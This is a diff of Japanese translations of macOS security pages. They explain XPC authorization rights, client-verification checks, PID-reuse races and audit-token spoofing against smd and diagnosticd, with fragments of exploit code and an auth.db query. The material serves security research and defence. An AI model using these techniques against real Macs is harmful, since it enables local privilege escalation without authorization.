この場合、関数 `readLicenseKeyAuthorization` を呼び出すために、`kCommandKeyAuthRightDefault``@kAuthorizationRuleClassAllow` に定義されています。したがって、**誰でも呼び出すことができます**。 この場合、関数 `readLicenseKeyAuthorization` を呼び出すために、`kCommandKeyAuthRightDefault``@kAuthorizationRuleClassAllow` に定義されています。したがって、**誰でも呼び出すことができます**。
### DB 情報 ### DB 情報
この情報は `/var/db/auth.db` に保存されていると述べられました。保存されすべてのルールをリストするには、次のコマンドを使用します: この情報は `/var/db/auth.db` に保存されていると述べられました。保存されているすべてのルールをリストするには、次のコマンドを使用します:
```sql ```sql
sudo sqlite3 /var/db/auth.db sudo sqlite3 /var/db/auth.db
SELECT name FROM rules; SELECT name FROM rules;
@ -246,19 +246,19 @@ security authorizationdb read com.apple.safaridriver.allow
``` ```
### 許可権限 ### 許可権限
**すべての権限設定**は[**こちら**](https://www.dssw.co.uk/reference/authorization-rights/)で確認できますが、ユーザーの操作を必要としない組み合わせは以下の通りです: **すべての権限設定** [**こちら**](https://www.dssw.co.uk/reference/authorization-rights/) で見つけることができますが、ユーザーの操作を必要としない組み合わせは次のとおりです。
1. **'authenticate-user': 'false'** 1. **'authenticate-user': 'false'**
- これは最も直接的なキーです。`false`に設定されている場合、ユーザーがこの権利を得るために認証を提供する必要がないことを指定します。 - これは最も直接的なキーです。`false`に設定されている場合、ユーザーがこの権利を得るために認証を提供する必要がないことを指定します。
- これは、以下の2つのいずれかと組み合わせて使用されるか、ユーザーが属する必要があるグループを示します。 - これは、以下の2つのいずれかと組み合わせて使用するか、ユーザーが属する必要があるグループを示すために使用されます。
2. **'allow-root': 'true'** 2. **'allow-root': 'true'**
- ユーザーがルートユーザー(昇格された権限を持つ)として操作している場合、このキーが`true`に設定されていると、ルートユーザーは追加の認証なしにこの権利を得る可能性があります。ただし、通常、ルートユーザーの状態に到達するにはすでに認証が必要であるため、これはほとんどのユーザーにとって「認証なし」のシナリオではありません。 - ユーザーがルートユーザー(昇格された権限を持つ)として操作している場合、このキーが`true`に設定されていると、ルートユーザーは追加の認証なしにこの権利を得る可能性があります。ただし、通常、ルートユーザーの状態に到達するにはすでに認証が必要であるため、これはほとんどのユーザーにとって「認証なし」のシナリオではありません。
3. **'session-owner': 'true'** 3. **'session-owner': 'true'**
- `true`に設定されている場合、セッションの所有者(現在ログインしているユーザー)は自動的にこの権利を得ます。ユーザーがすでにログインしている場合、追加の認証をバイパスする可能性があります。 - `true`に設定されている場合、セッションの所有者(現在ログインしているユーザー)は自動的にこの権利を得ます。ユーザーがすでにログインしている場合、追加の認証をバイパスする可能性があります。
4. **'shared': 'true'** 4. **'shared': 'true'**
- このキーは認証なしに権利を付与しません。代わりに、`true`に設定されている場合、権利が認証された後は、各プロセスが再認証を必要とせずに複数のプロセス間で共有できることを意味します。しかし、権利の最初の付与は、`'authenticate-user': 'false'`のような他のキーと組み合わせない限り、認証を必要とします。 - このキーは、認証なしに権利を付与するものではありません。代わりに、`true`に設定されている場合、権利が認証された後は、各プロセスが再認証を必要とせずに複数のプロセス間で共有できることを意味します。しかし、権利の最初の付与は、`'authenticate-user': 'false'`のような他のキーと組み合わせない限り、認証を必要とします。
興味深い権利を取得するために[**このスクリプト**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)を使用できます 興味深い権利を取得するために[**このスクリプト**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)を使用できます
```bash ```bash
Rights with 'authenticate-user': 'false': Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root) is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@ -289,7 +289,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
<figure><img src="../../../../../images/image (44).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
この場合、EvenBetterAuthorizationSampleと同じものあり、[**この行を確認してください**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。 この場合、EvenBetterAuthorizationSampleと同じものあり、[**この行を確認してください**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
使用されているプロトコルの名前が分かれば、**そのヘッダー定義をダンプする**ことが可能です: 使用されているプロトコルの名前が分かれば、**そのヘッダー定義をダンプする**ことが可能です:
```bash ```bash
@ -305,9 +305,9 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@end @end
[...] [...]
``` ```
最後に、通信を確立するために**公開されたMachサービスの名前**を知る必要があります。これを見つける方法はいくつかあります: 最後に、**公開されたMachサービスの名前**を知る必要があります。これと通信を確立するための方法はいくつかあります:
- **`[HelperTool init]`**で使用されているMachサービスを見ることができます - **`[HelperTool init]`** で使用されているMachサービスを見ることができます
<figure><img src="../../../../../images/image (41).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../images/image (41).png" alt=""><figcaption></figcaption></figure>
@ -326,7 +326,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
``` ```
### エクスプロイトの例 ### エクスプロイトの例
この例では、以下が作成されます: この例では次のものが作成されます:
- 関数を持つプロトコルの定義 - 関数を持つプロトコルの定義
- アクセスを要求するために使用する空の認証 - アクセスを要求するために使用する空の認証

View File

@ -7,7 +7,7 @@
XPCサービスへの接続が確立されると、サーバーは接続が許可されているかどうかを確認します。通常、以下のチェックが行われます XPCサービスへの接続が確立されると、サーバーは接続が許可されているかどうかを確認します。通常、以下のチェックが行われます
1. 接続している**プロセスがApple署名の**証明書で署名されているか確認しますAppleからのみ発行されます 1. 接続している**プロセスがApple署名の**証明書で署名されているか確認しますAppleからのみ発行されます
- これが**確認されない場合**、攻撃者は**偽の証明書**を作成して他のチェックに致させることができます。 - これが**確認されない場合**、攻撃者は**偽の証明書**を作成して他のチェックに致させることができます。
2. 接続しているプロセスが**組織の証明書**で署名されているか確認しますチームIDの確認 2. 接続しているプロセスが**組織の証明書**で署名されているか確認しますチームIDの確認
- これが**確認されない場合**、Appleの**任意の開発者証明書**が署名に使用され、サービスに接続できます。 - これが**確認されない場合**、Appleの**任意の開発者証明書**が署名に使用され、サービスに接続できます。
3. 接続しているプロセスが**適切なバンドルID**を含んでいるか確認します。 3. 接続しているプロセスが**適切なバンドルID**を含んでいるか確認します。
@ -15,7 +15,7 @@ XPCサービスへの接続が確立されると、サーバーは接続が許
4. (4または5) 接続しているプロセスが**適切なソフトウェアバージョン番号**を持っているか確認します。 4. (4または5) 接続しているプロセスが**適切なソフトウェアバージョン番号**を持っているか確認します。
- これが**確認されない場合**、古い、脆弱なクライアントがプロセスインジェクションに対して脆弱であり、他のチェックが行われていてもXPCサービスに接続される可能性があります。 - これが**確認されない場合**、古い、脆弱なクライアントがプロセスインジェクションに対して脆弱であり、他のチェックが行われていてもXPCサービスに接続される可能性があります。
5. (4または5) 接続しているプロセスが危険な権限のない**ハードンされたランタイム**を持っているか確認します任意のライブラリを読み込むことを許可するものやDYLD環境変数を使用するものなど 5. (4または5) 接続しているプロセスが危険な権限のない**ハードンされたランタイム**を持っているか確認します任意のライブラリを読み込むことを許可するものやDYLD環境変数を使用するものなど
1. これが**確認されない場合**、クライアントは**コードインジェクションに対して脆弱**かもしれません 1. これが**確認されない場合**、クライアントは**コードインジェクションに対して脆弱**である可能性があります
6. 接続しているプロセスがサービスに接続することを許可する**権限**を持っているか確認します。これはAppleのバイナリに適用されます。 6. 接続しているプロセスがサービスに接続することを許可する**権限**を持っているか確認します。これはAppleのバイナリに適用されます。
7. **検証**は接続している**クライアントの監査トークン**に**基づく**べきであり、そのプロセスID**PID**)ではなく、前者は**PID再利用攻撃**を防ぎます。 7. **検証**は接続している**クライアントの監査トークン**に**基づく**べきであり、そのプロセスID**PID**)ではなく、前者は**PID再利用攻撃**を防ぎます。
- 開発者は**監査トークン**API呼び出しを**ほとんど使用しない**ため、これは**プライベート**であり、Appleはいつでも**変更**できる可能性があります。さらに、プライベートAPIの使用はMac App Storeアプリでは許可されていません。 - 開発者は**監査トークン**API呼び出しを**ほとんど使用しない**ため、これは**プライベート**であり、Appleはいつでも**変更**できる可能性があります。さらに、プライベートAPIの使用はMac App Storeアプリでは許可されていません。
@ -38,7 +38,7 @@ macos-xpc_connection_get_audit_token-attack.md
### Trustcache - ダウングレード攻撃防止 ### Trustcache - ダウングレード攻撃防止
TrustcacheはApple Siliconマシン導入された防御方法で、AppleのバイナリのCDHSAHのデータベースを保存し、許可された非修正バイナリのみが実行されるようにします。これにより、ダウングレードバージョンの実行が防止されます。 TrustcacheはApple Siliconマシン導入された防御方法で、AppleのバイナリのCDHSAHのデータベースを保存し、許可された非修正バイナリのみが実行されるようにします。これにより、ダウングレードバージョンの実行が防止されます。
### コード例 ### コード例
@ -71,7 +71,7 @@ SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef);
SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken); SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)) SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))
``` ```
もし開発者がクライアントのバージョンを確認したくない場合、少なくともクライアントがプロセスインジェクションに対して脆弱でないことを確認することができます: クライアントのバージョンを確認したくない開発者は、少なくともクライアントがプロセスインジェクションに対して脆弱でないことを確認することができます:
```objectivec ```objectivec
[...] [...]
CFDictionaryRef csInfo = NULL; CFDictionaryRef csInfo = NULL;

View File

@ -4,21 +4,21 @@
## PID Reuse ## PID Reuse
macOSの**XPCサービス**が**PID**に基づいて呼び出されたプロセスをチェックし、**監査トークン**に基づいていない場合、PID再利用攻撃に対して脆弱です。この攻撃は**レースコンディション**に基づいており、**エクスプロイト**が**XPC**サービスにメッセージを**送信し**、その後に**`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`**を**許可された**バイナリで実行します。 macOSの**XPCサービス**が**PID**に基づいて呼び出されたプロセスをチェックし、**監査トークン**ではない場合、PID再利用攻撃に対して脆弱です。この攻撃は**レースコンディション**に基づいており、**エクスプロイト**が**XPC**サービスにメッセージを**送信し**、その後に**`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`**を**許可された**バイナリで実行します。
この関数は**許可されたバイナリがPIDを所有する**ようにしますが、**悪意のあるXPCメッセージはその直前に送信されます**。したがって、**XPC**サービスが**PID**を使用して送信者を**認証**し、**`posix_spawn`**の実行**後**にそれをチェックすると、それが**認可された**プロセスからのものであると考えます。 この関数は**許可されたバイナリがPIDを所有する**ようにしますが、**悪意のあるXPCメッセージはその直前に送信されます**。したがって、**XPC**サービスが**PID**を使用して送信者を**認証**し、**`posix_spawn`**の実行**後**にそれをチェックすると、それが**認可された**プロセスからのものであると考えます。
### Exploit example ### Exploit example
**`shouldAcceptNewConnection`**という関数やそれを呼び出す関数が**`processIdentifier`**を呼び出し、**`auditToken`**を呼び出していない場合、それは**プロセスPIDを検証している**可能性が高いです。\ もし**`shouldAcceptNewConnection`**関数やそれを呼び出す関数が**`processIdentifier`**を呼び出し、**`auditToken`**を呼び出していない場合、それは**プロセスPIDを検証している**可能性が高いです。\
例えば、以下の画像のように(参照から取得): 例えば、以下の画像のように(参照から取得):
<figure><img src="../../../../../../images/image (306).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure> <figure><img src="../../../../../../images/image (306).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
このエクスプロイトの例を確認してください再び、参照から取得して、エクスプロイトの2つの部分を見てください このエクスプロイトの例を確認してください再び、参照から取得して、エクスプロイトの2つの部分を見てください
- **いくつかのフォークを生成する**もの - 複数のフォークを**生成する**もの
- **各フォーク**は**メッセージを送信した後に**XPCサービスに**ペイロードを送信**します - **各フォーク**は**メッセージを送信した後に`posix_spawn`を実行しながら、XPCサービスにペイロードを送信します**
> [!CAUTION] > [!CAUTION]
> エクスプロイトが機能するためには、` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`**を設定するか、エクスプロイト内に次のように記述することが重要です: > エクスプロイトが機能するためには、` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`**を設定するか、エクスプロイト内に次のように記述することが重要です:
@ -31,7 +31,7 @@ macOSの**XPCサービス**が**PID**に基づいて呼び出されたプロセ
{{#tabs}} {{#tabs}}
{{#tab name="NSTasks"}} {{#tab name="NSTasks"}}
最初のオプションは**`NSTasks`**を使用し、子プロセスを起動するための引数を指定してRCをエクスプロイトします。 最初のオプションは**`NSTasks`**を使用し、子プロセスを起動するための引数を指定してRCをエクスプロイトします。
```objectivec ```objectivec
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/ // Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl // gcc -framework Foundation expl.m -o expl
@ -140,7 +140,7 @@ return 0;
{{#endtab}} {{#endtab}}
{{#tab name="fork"}} {{#tab name="fork"}}
この例では、生の **`fork`** を使用して **PIDレース条件を悪用する子プロセスを起動し、次にハードリンクを介して別のレース条件を悪用します:** この例では、生の **`fork`** を使用して **PID レースコンディションを悪用する子プロセスを起動し、次にハードリンクを介して別のレースコンディションを悪用します:**
```objectivec ```objectivec
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES // export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl // gcc -framework Foundation expl.m -o expl

View File

@ -12,8 +12,8 @@ Mach メッセージが何か知らない場合は、このページを確認し
../../ ../../
{{#endref}} {{#endref}}
現時点では、([こちらの定義](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)から)\ 現時点では、([こちらの定義](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing))を覚えておいてください\
Mach メッセージは _mach ポート_ を介して送信され、これは **単一受信者、複数送信者通信** チャンネルで、mach カーネルに組み込まれています。**複数のプロセスがメッセージを送信できます**が、いつでも **単一のプロセスのみがそれを読み取ることができます**。ファイルディスクリプタやソケットと同様に、mach ポートはカーネルによって割り当てられ、管理され、プロセスは整数を見て、それを使用してカーネルにどの mach ポートを使用したいかを示します。 Mach メッセージは _mach ポート_ を介して送信され、これは mach カーネルに組み込まれた **単一受信者、複数送信者通信** チャンネルです。**複数のプロセスがメッセージを送信できます**が、いつでも **単一のプロセスのみがそれを読み取ることができます**。ファイルディスクリプタやソケットと同様に、mach ポートはカーネルによって割り当てられ、管理され、プロセスは整数を見て、それを使用してカーネルにどの mach ポートを使用したいかを示します。
## XPC 接続 ## XPC 接続
@ -25,7 +25,7 @@ XPC 接続がどのように確立されるか知らない場合は、確認し
## 脆弱性の概要 ## 脆弱性の概要
知っておくべき興味深い点は、**XPC の抽象化は一対一の接続**ですが、これは **複数の送信者を持つ技術の上に構築されているため、** 知っておくべき興味深い点は、**XPC の抽象化は一対一の接続ですが、**複数の送信者を持つ技術の上に構築されているため、以下のようになります
- Mach ポートは単一受信者、**複数送信者**です。 - Mach ポートは単一受信者、**複数送信者**です。
- XPC 接続の監査トークンは、**最近受信したメッセージからコピーされた監査トークン**です。 - XPC 接続の監査トークンは、**最近受信したメッセージからコピーされた監査トークン**です。
@ -34,63 +34,63 @@ XPC 接続がどのように確立されるか知らない場合は、確認し
前述の状況は有望に聞こえますが、これが問題を引き起こさないシナリオもいくつかあります([こちらから](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing) 前述の状況は有望に聞こえますが、これが問題を引き起こさないシナリオもいくつかあります([こちらから](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)
- 監査トークンは、接続を受け入れるかどうかを決定するための認証チェックにしばしば使用されます。これはサービスポートへのメッセージを使用して行われるため、**接続はまだ確立されていません**。このポートへの追加のメッセージは、単に追加の接続要求として処理されます。したがって、接続を受け入れる前の **チェックは脆弱ではありません**(これは `-listener:shouldAcceptNewConnection:` 内で監査トークンが安全であることも意味します)。したがって、私たちは **特定のアクションを検証する XPC 接続を探しています** - 監査トークンは、接続を受け入れるかどうかを決定するための認証チェックにしばしば使用されます。これはサービスポートへのメッセージを使用して行われるため、**接続はまだ確立されていません**。このポートへの追加のメッセージは、単に追加の接続要求として処理されます。したがって、接続を受け入れる前の **チェックは脆弱ではありません**(これは `-listener:shouldAcceptNewConnection:` 内で監査トークンが安全であることも意味します)。したがって、私たちは **特定のアクションを検証する XPC 接続を探しています**
- XPC イベントハンドラは同期的に処理されます。これは、1つのメッセージのイベントハンドラが完了する前に次のメッセージのために呼び出される必要があることを意味し、同時にディスパッチキュー上でも同様です。したがって、**XPC イベントハンドラ内では監査トークンは他の通常の(非応答!)メッセージによって上書きされることはありません**。 - XPC イベントハンドラは同期的に処理されます。これは、1 つのメッセージのイベントハンドラが完了する前に次のメッセージのために呼び出される必要があることを意味しす。したがって、**XPC イベントハンドラ内では監査トークンは他の通常の(非応答!)メッセージによって上書きされることはありません**。
この脆弱性を悪用できる2つの異なる方法があります この脆弱性を悪用できる 2 つの異なる方法があります:
1. バリアント1: 1. バリアント 1:
- **攻撃**はサービス **A** とサービス **B****接続** します - **攻撃**はサービス **A** とサービス **B** に **接続**します
- サービス **B** は、ユーザーができないサービス A の **特権機能** を呼び出すことができます - サービス **B** は、ユーザーができないサービス A の **特権機能** を呼び出すことができます
- サービス **A** は、**`xpc_connection_get_audit_token`** を呼び出しますが、**イベントハンドラ内ではなく**、**`dispatch_async`** 内で行います。 - サービス **A** は、**`dispatch_async`** の **イベントハンドラ内ではなく**、**`xpc_connection_get_audit_token`** を呼び出します。
- したがって、**異なる** メッセージが **監査トークンを上書き** する可能性があります。なぜなら、それはイベントハンドラの外で非同期にディスパッチされているからです。 - したがって、**異なる** メッセージが **監査トークンを上書き** する可能性があります。なぜなら、それはイベントハンドラの外で非同期にディスパッチされているからです。
- 攻撃は **サービス B にサービス A への送信権を渡します** - 攻撃は **サービス B にサービス A への送信権を渡します**
- したがって、svc **B** は実際にサービス **A****メッセージを送信** します。 - したがって、svc **B** は実際にサービス **A** に **メッセージを送信**します。
- **攻撃**は **特権アクションを呼び出そうとします**。RC で svc **A** はこの **アクションの** 認証を **チェック** し、**svc B が監査トークンを上書きしました**(攻撃に特権アクションを呼び出すアクセスを与えます)。 - **攻撃**は **特権アクションを呼び出そうとします**。RC で svc **A** はこの **アクションの** 認証を **チェック** し、**svc B が監査トークンを上書きしました**(攻撃に特権アクションを呼び出すアクセスを与えます)。
2. バリアント2: 2. バリアント 2:
- サービス **B** は、ユーザーができないサービス A の **特権機能** を呼び出すことができます - サービス **B** は、ユーザーができないサービス A の **特権機能** を呼び出すことができます
- 攻撃は **サービス A** に接続し、**応答を期待するメッセージ** を攻撃に送信します。 - 攻撃は **サービス A** に接続し、サービス A は攻撃に **応答を期待するメッセージ** を送信します。特定の **応答** **ポート** で。
- 攻撃は **サービス** B に **その応答ポート** を渡すメッセージを送信します。 - 攻撃は **サービス** B に **その応答ポート** を渡すメッセージを送信します。
- サービス **B** が応答すると、**サービス A** にメッセージを送信し、**攻撃**は異なる **メッセージをサービス A に送信**、特権機能に到達しようとし、サービス B からの応答が監査トークンを完璧なタイミングで上書きすることを期待します(レースコンディション)。 - サービス **B** が応答すると、サービス A にメッセージを **送信し**、**攻撃** は異なる **メッセージをサービス A に送信**、特権機能に **到達しようとし**、サービス B からの応答が監査トークンを完璧なタイミングで上書きすることを期待します(競合条件)。
## バリアント 1: イベントハンドラの外で xpc_connection_get_audit_token を呼び出す <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a> ## バリアント 1: イベントハンドラの外で xpc_connection_get_audit_token を呼び出す <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
シナリオ: シナリオ:
- 接続できる2つの mach サービス **`A`** と **`B`**(サンドボックスプロファイルと接続を受け入れる前の認証チェックに基づく)。 - 接続できる 2 つの mach サービス **`A`** と **`B`**(サンドボックスプロファイルと接続を受け入れる前の認証チェックに基づく)。
- _**A**_ は、**`B`** が渡すことができる特定のアクションの **認証チェック** を持っている必要があります(しかし、私たちのアプリはできません)。 - _**A**_ は、**`B`** が渡すことができる特定のアクションの **認証チェック** を持っている必要があります(しかし、私たちのアプリはできません)。
- たとえば、B がいくつかの **権** を持っているか、**root** として実行されている場合、A に特権アクションを実行するように要求できるかもしれません。 - たとえば、B がいくつかの **権** を持っているか、**root** として実行されている場合、A に特権アクションを実行するように要求できるかもしれません。
- この認証チェックのために、**`A`** は非同期的に監査トークンを取得します。たとえば、**`dispatch_async`** から `xpc_connection_get_audit_token` を呼び出すことによって。 - この認証チェックのために、**`A`** は非同期的に監査トークンを取得します。たとえば、**`dispatch_async`** から `xpc_connection_get_audit_token` を呼び出すことによって。
> [!CAUTION] > [!CAUTION]
> この場合、攻撃者は **レースコンディション** を引き起こし、**A にアクションを実行するように要求する** 攻撃を何度もトリガーしながら **B が `A` にメッセージを送信** させることができます。RC が **成功すると**、**B** の **監査トークン** がメモリにコピーされ、**私たちの攻撃** の要求が A によって **処理されている間** に行われ、**B** だけが要求できる特権アクションへの **アクセス** を与えます。 > この場合、攻撃者は **競合条件** を引き起こし、**A にアクションを実行するように要求する**攻撃を何度もトリガーしながら、**B が `A` にメッセージを送信させる**ことができます。RC が **成功すると**、**B** の **監査トークン** がメモリにコピーされ、**私たちの攻撃** のリクエストが A によって **処理されている間**、特権アクションに **アクセス** できるようになります。
これは **`A`** が `smd` として、**`B`** が `diagnosticd` として発生しました。関数 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) は、新しい特権ヘルパーツールをインストールするために使用できます(**root** として)。もし **root として実行されているプロセスが** **smd** に接触すると、他のチェックは行われません。 これは **`A`** が `smd` として、**`B`** が `diagnosticd` として発生しました。関数 [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) は、新しい特権ヘルパーツールをインストールするために使用できます(**root** として)。**root として実行されているプロセスが** **smd** に接触すると、他のチェックは実行されません。
したがって、サービス **B****`diagnosticd`** であり、**root** として実行され、プロセスを **監視** するために使用されるため、監視が開始されると、**毎秒複数のメッセージを送信します**。 したがって、サービス **B****`diagnosticd`** であり、**root** として実行され、プロセスを **監視** するために使用できます。監視が開始されると、**毎秒複数のメッセージを送信します**。
攻撃を実行するには: 攻撃を実行するには:
1. 標準 XPC プロトコルを使用して `smd` という名前のサービスに **接続** を開始します。 1. 標準 XPC プロトコルを使用して `smd` という名前のサービスに **接続** を開始します。
2. `diagnosticd` に二次的な **接続** を形成します。通常の手順とは異なり、2つの新しい mach ポートを作成して送信するのではなく、クライアントポートの送信権が `smd` 接続に関連付けられた **送信権** の複製に置き換えられます。 2. `diagnosticd` に二次的な **接続** を形成します。通常の手順とは異なり、2 つの新しい mach ポートを作成して送信するのではなく、クライアントポートの送信権が `smd` 接続に関連付けられた **送信権** の複製に置き換えられます。
3. 結果として、XPC メッセージは `diagnosticd` にディスパッチできますが、`diagnosticd` からの応答は `smd` にリダイレクトされます。`smd` にとっては、ユーザーと `diagnosticd` の両方からのメッセージが同じ接続から発信されているように見えます。 3. 結果として、XPC メッセージは `diagnosticd` にディスパッチできますが、`diagnosticd` からの応答は `smd` にリダイレクトされます。`smd` にとっては、ユーザーと `diagnosticd` の両方からのメッセージが同じ接続から発信されているように見えます。
![攻撃プロセスを示す画像](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) ![攻撃プロセスを示す画像](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. 次のステップは、`diagnosticd` に選択したプロセス(ユーザー自身のプロセスの可能性があります)の監視を開始するように指示することです。同時に、`smd` に対して通常の 1004 メッセージの洪水が送信されます。ここでの意図は、特権のあるツールをインストールすることです。 4. 次のステップは、`diagnosticd` に選択したプロセス(ユーザー自身のプロセスの可能性があります)の監視を開始するように指示することです。同時に、`smd` に対して通常の 1004 メッセージの洪水が送信されます。ここでの意図は、特権のあるツールをインストールすることです。
5. このアクションは、`handle_bless` 関数内でレースコンディションを引き起こします。タイミングが重要です:`xpc_connection_get_pid` 関数呼び出しは、ユーザーのプロセスの PID を返さなければなりません(特権ツールはユーザーのアプリバンドル内に存在します)。しかし、`xpc_connection_get_audit_token` 関数は、特に `connection_is_authorized` サブルーチン内で、`diagnosticd` に属する監査トークンを参照しなければなりません 5. このアクションは、`handle_bless` 関数内で競合条件を引き起こします。タイミングが重要です:`xpc_connection_get_pid` 関数呼び出しは、ユーザーのプロセスの PID を返さなければなりません(特権ツールはユーザーのアプリバンドルに存在します)。ただし、`xpc_connection_get_audit_token` 関数は、特に `connection_is_authorized` サブルーチン内で、`diagnosticd` に属する監査トークンを参照する必要があります
## バリアント 2: 応答の転送 ## バリアント 2: 応答の転送
XPCプロセス間通信環境では、イベントハンドラは同時に実行されませんが、応答メッセージの処理には独自の動作があります。具体的には、応答を期待するメッセージを送信するための2つの異なる方法があります XPCプロセス間通信環境では、イベントハンドラは同時に実行されませんが、応答メッセージの処理には独自の動作があります。具体的には、応答を期待するメッセージを送信するための 2 つの異なる方法があります:
1. **`xpc_connection_send_message_with_reply`**: ここでは、XPC メッセージが受信され、指定されたキューで処理されます。 1. **`xpc_connection_send_message_with_reply`**: ここでは、XPC メッセージが受信され、指定されたキューで処理されます。
2. **`xpc_connection_send_message_with_reply_sync`**: 逆に、このメソッドでは、XPC メッセージが現在のディスパッチキューで受信され、処理されます。 2. **`xpc_connection_send_message_with_reply_sync`**: 逆に、この方法では、XPC メッセージが現在のディスパッチキューで受信され、処理されます。
この区別は重要です。なぜなら、**応答パケットが XPC イベントハンドラの実行と同時に解析される可能性があるからです**。特に、`_xpc_connection_set_creds` は監査トークンの部分的な上書きを防ぐためにロックを実装していますが、接続オブジェクト全体に対してこの保護を拡張していません。したがって、パケットの解析とそのイベントハンドラの実行の間の間隔で監査トークンが置き換えられる脆弱性が生じます。 この区別は重要です。なぜなら、**応答パケットが XPC イベントハンドラの実行と同時に解析される可能性があるからです**。特に、`_xpc_connection_set_creds` は監査トークンの部分的な上書きを防ぐためにロックを実装していますが、接続オブジェクト全体に対してこの保護を拡張していません。したがって、パケットの解析とそのイベントハンドラの実行の間の間隔で監査トークンが置き換えられる脆弱性が生じます。
この脆弱性を悪用するには、次のセットアップが必要です: この脆弱性を悪用するには、次のセットアップが必要です:
- **`A`** と **`B`** と呼ばれる2つの mach サービスで、どちらも接続を確立できます。 - **`A`** と **`B`** と呼ばれる 2 つの mach サービスで、どちらも接続を確立できます。
- サービス **`A`** は、**`B`** のみが実行できる特定のアクションのための認証チェックを含む必要があります(ユーザーのアプリケーションはできません)。 - サービス **`A`** は、**`B`** のみが実行できる特定のアクションのための認証チェックを含む必要があります(ユーザーのアプリケーションはできません)。
- サービス **`A`** は、応答を期待するメッセージを送信する必要があります。 - サービス **`A`** は、応答を期待するメッセージを送信する必要があります。
- ユーザーは **`B`** にメッセージを送信し、それに応答します。 - ユーザーは **`B`** にメッセージを送信し、それに応答します。
@ -99,7 +99,7 @@ XPCプロセス間通信環境では、イベントハンドラは同時
1. サービス **`A`** が応答を期待するメッセージを送信するのを待ちます。 1. サービス **`A`** が応答を期待するメッセージを送信するのを待ちます。
2. **`A`** に直接応答するのではなく、応答ポートをハイジャックしてサービス **`B`** にメッセージを送信します。 2. **`A`** に直接応答するのではなく、応答ポートをハイジャックしてサービス **`B`** にメッセージを送信します。
3. 次に、禁止されたアクションに関するメッセージが送信され、**`B`** からの応答と同時に処理されることを期待します。 3. 次に、禁止されたアクションに関するメッセージをディスパッチし、**`B`** からの応答と同時に処理されることを期待します。
以下は、説明された攻撃シナリオの視覚的表現です: 以下は、説明された攻撃シナリオの視覚的表現です:
@ -110,16 +110,16 @@ XPCプロセス間通信環境では、イベントハンドラは同時
## 発見の問題 ## 発見の問題
- **インスタンスの特定の困難**: `xpc_connection_get_audit_token` の使用例を静的および動的に検索するのは困難でした。 - **インスタンスの特定の困難**: `xpc_connection_get_audit_token` の使用例を静的および動的に検索するのは困難でした。
- **方法論**: Frida を使用して `xpc_connection_get_audit_token` 関数をフックし、イベントハンドラから発信されない呼び出しをフィルタリングしました。しかし、この方法はフックされたプロセスに限定され、アクティブな使用が必要でした。 - **方法論**: Frida を使用して `xpc_connection_get_audit_token` 関数をフックし、イベントハンドラから発信されない呼び出しをフィルタリングしました。ただし、この方法はフックされたプロセスに限定され、アクティブな使用が必要でした。
- **分析ツール**: IDA/Ghidra のようなツールを使用して到達可能な mach サービスを調査しましたが、プロセスは時間がかかり、dyld 共有キャッシュに関与する呼び出しによって複雑化しました。 - **分析ツール**: IDA/Ghidra などのツールを使用して到達可能な mach サービスを調査しましたが、プロセスは時間がかかり、dyld 共有キャッシュに関与する呼び出しによって複雑化しました。
